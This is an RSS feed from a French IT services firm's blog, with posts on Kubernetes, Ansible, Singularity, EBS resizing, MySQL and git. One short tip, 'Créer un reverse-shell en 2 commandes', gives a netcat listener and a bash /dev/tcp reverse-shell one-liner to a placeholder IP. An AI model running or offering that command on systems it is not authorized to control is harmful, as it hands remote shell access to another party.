<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Maje informatique</title>
	<atom:link href="http://www.maje.biz/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.maje.biz</link>
	<description>Votre société de services en logiciels libre</description>
	<lastBuildDate>Mon, 05 Sep 2022 14:33:48 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=4.2.2</generator>
	<item>
		<title>Linux Magazin n°259 &#8211; 4 solutions pour enregistrer les frappes au clavier !</title>
		<link>http://www.maje.biz/linux-magazin-n259-4-solutions-pour-enregistrer-les-frappes-au-clavier/</link>
		<comments>http://www.maje.biz/linux-magazin-n259-4-solutions-pour-enregistrer-les-frappes-au-clavier/#comments</comments>
		<pubDate>Mon, 05 Sep 2022 14:23:30 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1039</guid>
		<description><![CDATA[Connaissez-vous toutes les solutions pour logger les commandes lancées par les utilisateurs, y compris &#171;&#160;root&#160;&#187; ? Cette question est aussi un prétexte pour montrer comment simplement créer des Plugins en Python pour l&#8217;utilitaire sudo.]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.maje.biz/wp-content/uploads/2022/09/gnulinux-magazine-259.jpg"><img class="alignnone size-full wp-image-1036" src="http://www.maje.biz/wp-content/uploads/2022/09/gnulinux-magazine-259.jpg" alt="gnulinux-magazine-259" width="264" height="352" /></a> Connaissez-vous toutes les solutions pour logger les commandes lancées par les utilisateurs, y compris &laquo;&nbsp;<em>root</em>&nbsp;&raquo; ? Cette question est aussi un prétexte pour montrer comment simplement créer des <em>Plugins</em> en Python pour l&rsquo;utilitaire <strong>sudo</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/linux-magazin-n259-4-solutions-pour-enregistrer-les-frappes-au-clavier/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Magazine n°259 &#8211; Ecrire un Controller pour Kubernetes</title>
		<link>http://www.maje.biz/linux-magazine-n259-ecrire-un-controller-pour-kubernetes/</link>
		<comments>http://www.maje.biz/linux-magazine-n259-ecrire-un-controller-pour-kubernetes/#comments</comments>
		<pubDate>Mon, 05 Sep 2022 14:21:15 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1037</guid>
		<description><![CDATA[Dans ce numéro, vous apprendrez comment écrire un Admission Controller pour Kubernetes afin de mieux contrôler les requêtes envoyées à votre Cluster. A l&#8217;origine de ce développement, il a fallu faire face à une erreur de manipulation d&#8217;un administrateur qui a confondu &#171;&#160;po&#160;&#187; (Pod) et &#171;&#160;no (Nodes) et qui a détruit les noeuds du Cluster [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.maje.biz/wp-content/uploads/2022/09/gnulinux-magazine-259.jpg"><img class="alignnone size-full wp-image-1036" src="http://www.maje.biz/wp-content/uploads/2022/09/gnulinux-magazine-259.jpg" alt="gnulinux-magazine-259" width="264" height="352" /> </a>Dans ce numéro, vous apprendrez comment écrire un Admission Controller pour Kubernetes afin de mieux contrôler les requêtes envoyées à votre Cluster. A l&rsquo;origine de ce développement, il a fallu faire face à une erreur de manipulation d&rsquo;un administrateur qui a confondu &laquo;&nbsp;po&nbsp;&raquo; (Pod) et &laquo;&nbsp;no (Nodes) et qui a détruit les noeuds du Cluster malencontreusement. Si vous voulez contrôler les requêtes avec des possibilités supplémentaires, regardez Kyverno !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/linux-magazine-n259-ecrire-un-controller-pour-kubernetes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Pratique n°128 &#8211; Testez vos rôles Ansible avec Molecule</title>
		<link>http://www.maje.biz/linux-pratique-n128-testez-vos-roles-ansible-avec-molecule/</link>
		<comments>http://www.maje.biz/linux-pratique-n128-testez-vos-roles-ansible-avec-molecule/#comments</comments>
		<pubDate>Wed, 19 Jan 2022 06:59:38 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Blog technique]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1032</guid>
		<description><![CDATA[Voilà bien un outil pratique qui permet de tester vos rôles Ansible ! Ansible a pris tellement d&#8217;importance qu&#8217;il est indispensable de s&#8217;assurer de la validité et de l&#8217;idempotence des rôles. Molecule vous aide à tester vos rôles en enchainant des étapes pénibles comme la création de l&#8217;environnement de test, l&#8217;application des rôles, la vérification [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.maje.biz/wp-content/uploads/2022/01/linux-pratique-128.jpg"><img class="alignnone size-medium wp-image-1028" src="http://www.maje.biz/wp-content/uploads/2022/01/linux-pratique-128-225x300.jpg" alt="linux-pratique-128" width="225" height="300" /></a></p>
<p>Voilà bien un outil pratique qui permet de tester vos rôles <strong>Ansible</strong> ! <strong>Ansible</strong> a pris tellement d&rsquo;importance qu&rsquo;il est indispensable de s&rsquo;assurer de la validité et de l&rsquo;idempotence des rôles. <strong>Molecule</strong> vous aide à tester vos rôles en enchainant des étapes pénibles comme la création de l&rsquo;environnement de test, l&rsquo;application des rôles, la vérification des résultats (que vous pouvez aussi exprimer à l&rsquo;aide de <em>Playbooks</em> !), puis le test d&rsquo;idempotence et enfin le grand nettoyage !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/linux-pratique-n128-testez-vos-roles-ansible-avec-molecule/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Pratique n°128 &#8211; Les Containers avec Singularity</title>
		<link>http://www.maje.biz/linux-pratique-n128-les-containers-avec-singularity/</link>
		<comments>http://www.maje.biz/linux-pratique-n128-les-containers-avec-singularity/#comments</comments>
		<pubDate>Wed, 19 Jan 2022 06:54:31 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Blog technique]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1029</guid>
		<description><![CDATA[Cet article décrit la solution de containerisation Singularity qui propose une solution adapteé à l&#8217;usage des containers principalement sur les clusters de calcul (HPC). Par opposition à Docker, aucun démon n&#8217;est nécessaire, aucun privilège &#171;&#160;root&#160;&#187; n&#8217;est requis&#8230;]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.maje.biz/wp-content/uploads/2022/01/linux-pratique-128.jpg"><img class="alignnone size-medium wp-image-1028" src="http://www.maje.biz/wp-content/uploads/2022/01/linux-pratique-128-225x300.jpg" alt="linux-pratique-128" width="225" height="300" /></a></p>
<p>Cet article décrit la solution de containerisation <strong>Singularity</strong> qui propose une solution adapteé à l&rsquo;usage des containers principalement sur les clusters de calcul (HPC). Par opposition à Docker, aucun démon n&rsquo;est nécessaire, aucun privilège &laquo;&nbsp;root&nbsp;&raquo; n&rsquo;est requis&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/linux-pratique-n128-les-containers-avec-singularity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Mag n°248 &#8211; Comment interfacer Nagios et Grafana !</title>
		<link>http://www.maje.biz/linux-mag-n248-comment-interfacer-nagios-et-grafana/</link>
		<comments>http://www.maje.biz/linux-mag-n248-comment-interfacer-nagios-et-grafana/#comments</comments>
		<pubDate>Sun, 25 Apr 2021 19:05:56 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Blog technique]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1020</guid>
		<description><![CDATA[Cet article propose une solution simple, à base de scripts Python, pour faire afficher les alertes de Nagios dans un tableau de Grafana.]]></description>
				<content:encoded><![CDATA[<p>Cet article propose une solution simple, à base de scripts Python, pour faire afficher les alertes de Nagios dans un tableau de Grafana.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/linux-mag-n248-comment-interfacer-nagios-et-grafana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Retailler un disque EBS</title>
		<link>http://www.maje.biz/retailler-un-disque-ebs/</link>
		<comments>http://www.maje.biz/retailler-un-disque-ebs/#comments</comments>
		<pubDate>Tue, 05 Jan 2021 08:55:16 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1012</guid>
		<description><![CDATA[Une fois la taille du disque EBS augmentée, la commande lsblk doit refléter cette augmentation. Ici le disque /dev/nvme0n1 est passé de 8 à 8 Gio: $ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT nvme0n1 259:0 0 9G 0 disk ├─nvme0n1p1 259:1 0 8G 0 part / └─nvme0n1p128 259:2 0 1M 0 part Dans [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Une fois la taille du disque EBS augmentée, la commande <code>lsblk</code> doit refléter cette augmentation. Ici le disque <code>/dev/nvme0n1</code> est passé de 8 à 8 Gio:</p>
<pre class="  language-plainText"><code class="language-  language-plainText">$ lsblk
NAME          MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
nvme0n1       259:0    0   9G  0 disk
├─nvme0n1p1   259:1    0   8G  0 part /
└─nvme0n1p128 259:2    0   1M  0 part
</code></pre>
<p>Dans notre cas, il s&rsquo;agit d&rsquo;augmenter la taille d&rsquo;une partition. Si ce n&rsquo;est pas le cas et qu&rsquo;il s&rsquo;agit d&rsquo;augmenter la taille d&rsquo;un système de fichiers situé sur un disque, utilisez directement la commande de retaillage du type de système de fichiers (<code>resize2fs</code> ou <code>xfs_growfs</code>).</p>
<p>Attention, la commande suivante a besoin de créer des fichiers temporaires, il faut donc de l&rsquo;espace sous <code>/tmp</code>. Pour cela, créez un système de fichiers de type <code>tmpfs</code> :</p>
<pre class="  language-plainText"><code class="language-  language-plainText">$ sudo mount -o size=10M,rw,nodev,nosuid -t tmpfs tmpfs /tmp</code></pre>
<p>Pour augmenter la taille de la partition :</p>
<pre class="  language-plainText"><code class="language-  language-plainText">$ sudo growpart /dev/nvme0n1 1</code></pre>
<p>Pour retailler le système de fichiers (ici, de type XFS) :</p>
<pre class="  language-plainText"><code class="language-  language-plainText">$ sudo xfs_growfs -d /</code></pre>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/retailler-un-disque-ebs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Créer un &#171;&#160;reverse-shell&#160;&#187; en 2 commandes</title>
		<link>http://www.maje.biz/creer-un-reverse-shell-en-2-commandes/</link>
		<comments>http://www.maje.biz/creer-un-reverse-shell-en-2-commandes/#comments</comments>
		<pubDate>Thu, 31 Dec 2020 08:37:35 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1010</guid>
		<description><![CDATA[Sur votre machine locale qui est votre machine de contrôle, vous lancez un serveur TCP à l&#8217;écoute du port souhaité : $ nc -lvp 4242 (on suppose que l&#8217;adresse IP de cette machine est 1.2.3.4) Sur la machine distante, sur laquelle vous souhaitez exécuter un &#171;&#160;reverse-shell&#160;&#187;, vous lancez la commande suivante : # bash -c [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Sur votre machine locale qui est votre machine de contrôle, vous lancez un serveur TCP à l&rsquo;écoute du port souhaité :</p>
<pre>$ nc -lvp 4242</pre>
<p>(on suppose que l&rsquo;adresse IP de cette machine est 1.2.3.4)</p>
<p>Sur la machine distante, sur laquelle vous souhaitez exécuter un &laquo;&nbsp;reverse-shell&nbsp;&raquo;, vous lancez la commande suivante :</p>
<pre># bash -c "sh - i &gt;&amp;/dev/tcp/1.2.3.4/4242 0&gt;&amp;1"</pre>
<p>&#8230;et le tour est joué !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/creer-un-reverse-shell-en-2-commandes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Mag n°243 &#8211; Codez un &#171;&#160;Custom Controller&#160;&#187; pour Kubernetes</title>
		<link>http://www.maje.biz/linux-mag-n243-codez-un-custom-controller-pour-kubernetes/</link>
		<comments>http://www.maje.biz/linux-mag-n243-codez-un-custom-controller-pour-kubernetes/#comments</comments>
		<pubDate>Tue, 08 Dec 2020 16:42:15 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1005</guid>
		<description><![CDATA[Cet article montre comment ajouter vos propres ressources et votre propre Controller à un cluster Kubernetes.]]></description>
				<content:encoded><![CDATA[<p>Cet article montre comment ajouter vos propres ressources et votre propre Controller à un cluster Kubernetes.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/linux-mag-n243-codez-un-custom-controller-pour-kubernetes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Obtenir la taille des bases MySQL/MariaDB</title>
		<link>http://www.maje.biz/obtenir-la-taille-des-bases-mysqlmariadb/</link>
		<comments>http://www.maje.biz/obtenir-la-taille-des-bases-mysqlmariadb/#comments</comments>
		<pubDate>Thu, 26 Nov 2020 17:13:53 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1001</guid>
		<description><![CDATA[SELECT COUNT(*) AS Total_Table_Count ,table_schema ,CONCAT(ROUND(SUM(table_rows)/1000000,2),'M') AS Total_Row_Count ,CONCAT(ROUND(SUM(data_length)/(1024*1024*1024),2),'G') AS Total_Table_Size ,CONCAT(ROUND(SUM(index_length)/(1024*1024*1024),2),'G') AS Total_Table_Index ,CONCAT(ROUND(SUM(data_length+index_length)/(1024*1024*1024),2),'G') Total_Size FROM information_schema.TABLES GROUP BY table_schema ORDER BY SUM(data_length+index_length);]]></description>
				<content:encoded><![CDATA[<pre class="code">SELECT
	COUNT(*) AS Total_Table_Count
	,table_schema
	,CONCAT(ROUND(SUM(table_rows)/1000000,2),'M') AS Total_Row_Count
	,CONCAT(ROUND(SUM(data_length)/(1024*1024*1024),2),'G') AS Total_Table_Size
	,CONCAT(ROUND(SUM(index_length)/(1024*1024*1024),2),'G') AS Total_Table_Index
	,CONCAT(ROUND(SUM(data_length+index_length)/(1024*1024*1024),2),'G') Total_Size
FROM information_schema.TABLES
GROUP BY table_schema
ORDER BY SUM(data_length+index_length);</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/obtenir-la-taille-des-bases-mysqlmariadb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mettre à jour un fichier .gitignore</title>
		<link>http://www.maje.biz/mettre-a-jour-un-fichier-gitignore/</link>
		<comments>http://www.maje.biz/mettre-a-jour-un-fichier-gitignore/#comments</comments>
		<pubDate>Tue, 04 Feb 2020 13:24:31 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=998</guid>
		<description><![CDATA[Vous disposez d&#8217;un dépôt GIT qui contient déjà des fichiers ainsi qu&#8217;un fichier .gitignore. Vous modifiez maintenant votre fichier .gitignore pour &#171;&#160;ignorer&#160;&#187; de nouveaux fichiers mais qui ont déjà été enregistrés dans le dépôt : comment les faire &#171;&#160;disparaître&#160;&#187; ? &#171;&#160;commitez&#160;&#187; toutes vos modifications actuelles, y compris votre fichier .gitignore nettoyez votre cache local ainsi [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Vous disposez d&rsquo;un dépôt GIT qui contient déjà des fichiers ainsi qu&rsquo;un fichier .gitignore. Vous modifiez maintenant votre fichier .gitignore pour &laquo;&nbsp;ignorer&nbsp;&raquo; de nouveaux fichiers mais qui ont déjà été enregistrés dans le dépôt : comment les faire &laquo;&nbsp;disparaître&nbsp;&raquo; ?</p>
<ol>
<li>&laquo;&nbsp;commitez&nbsp;&raquo; toutes vos modifications actuelles, y compris votre fichier .gitignore</li>
<li>nettoyez votre cache local ainsi :
<pre>git rm -r --cached .</pre>
<ol>
<li><code>rm</code> est le &laquo;&nbsp;remove&nbsp;&raquo;</li>
<li><code>-r</code> sera récursif</li>
<li><code>--cached</code> ne supprimera les fichiers que de l&rsquo;index</li>
<li><code>.</code> indique que tous les fichiers seront marqués &laquo;&nbsp;untracked&nbsp;&raquo; (car pour &laquo;&nbsp;untracker&nbsp;&raquo; un fichier il faut faire un <code>git rm --cached foo.txt</code>)</li>
</ol>
</li>
<li>ajoutez à nouveau tous les fichiers à GIT :
<pre>git add .</pre>
</li>
<li>enregistrez la modification de <code>.gitignore</code> :
<pre>git commit -m ".gitignore fix"</pre>
</li>
<li>puis faites le &laquo;&nbsp;push&nbsp;&raquo;</li>
</ol>
<p>(source : http://www.codeblocq.com/2016/01/Untrack-files-already-added-to-git-repository-based-on-gitignore/)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/mettre-a-jour-un-fichier-gitignore/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
